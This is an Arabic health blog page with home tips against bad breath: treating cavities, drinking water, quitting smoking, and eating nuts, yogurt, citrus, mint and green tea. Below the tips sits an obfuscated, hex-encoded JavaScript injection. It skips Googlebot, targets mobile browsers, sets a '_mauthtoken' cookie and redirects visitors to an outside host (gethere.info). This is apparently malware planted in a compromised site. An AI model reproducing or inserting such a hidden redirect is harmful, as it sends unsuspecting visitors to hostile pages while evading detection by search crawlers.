انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيفية التخلص من رائحة الفم الكريهة

كيفية التخلص من رائحة الفم الكريهة

أحد المشكلات التي تقابل الكثير من الافراد في ساعات الصباح الاولي خاصة ” رائحة الفم الكريهة ” ويمكن لهذه المشكلة ان تؤثر في علاقاتك المهنية والاجتماعية بمن حولك فهذه المشكلة قد تمنعك من الحديث مع اغلب الشخصيات التي تقابلك في الصباح فور الاستيقاظ من النوم او على الأقل سوف تقلل من ثقتك بذاتك اثناء الحديث مع الاخرين وبالتالي فهذه التصرفات سوف تساعد الاخرين على تكوين انطباعات مختلفة عن شخصيتك الطبيعية

 

كيفية التخلص من رائحة الفم الكريهة
كيفية التخلص من رائحة الفم الكريهة

 

  • لابد من علاج التسوس والنخور الموجودة في الاسنان وتنظيفها يوميا بمعجون الاسنان
  • هناك العديد من أنواع البكتريا التي تتواجد في الفم والتي تسبب رائحة الفم الكريهة لذا عليك استخدام المستحضرات الطبية التي تساعد في التخلص من هذه البكتريا المسببة لهذه الرائحة
  • ترطيب الحنجرة من الأمور التي تساعدك في التخلص من الرائحة الكريهة لذا داومي على شرب الماء والعصائر الطبيعية كما ان العلكة تساعدك في التخلص من رائحة الفم الكريهة اياك وان تتركي معدتك خاوية فهي سوف تتسبب في وجود هذه الرائحة في فمك
  • عليك الإقلاع عند التدخين فورا ان كنت من المدخنين بجانب اضرار التدخين المعروفة والتي ربما تؤدي للوفاة ان التدخين يترك رائحة كريهة جدا في الفم
  • هناك العديد من الأطعمة التي تساعد في التخلص من رائحة الفم الكريهة وهي: –
  • الجوز واللوز من الأطعمة التي تعمل عمل فرشاة الاسنان في التخلص من كل بقايا الطعام العالقة في الاسنان
  • اللبن الرايب من الأطعمة التي تساعدك في التخلص من رائحة الفم الكريهة لأنه يحتوي على مجموعة من العناصر المقاومة التي تحارب البكتريا التي تسبب رائحة الفم الكريهة
  • الأطعمة التي تحتوي على فيتامين سي مهمة جدا في التخلص من رائحة الفم الكريهة بالإضافة الي ان فيتامين سي يحافظ على صحة اللثة وتتمثل هذه الأطعمة في ” الفراولة – البطيخ – البرتقال ” والكثير من الفواكه الأخرى
  • النعناع الأخضر بعد كل وجبة يحميك من رائحة الفم الكريهة كوب واحد من الشاي الأخضر المضاف اليه القرفة بعد كل وجبة وقل وداعا لرائحة الفم الكريهة

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.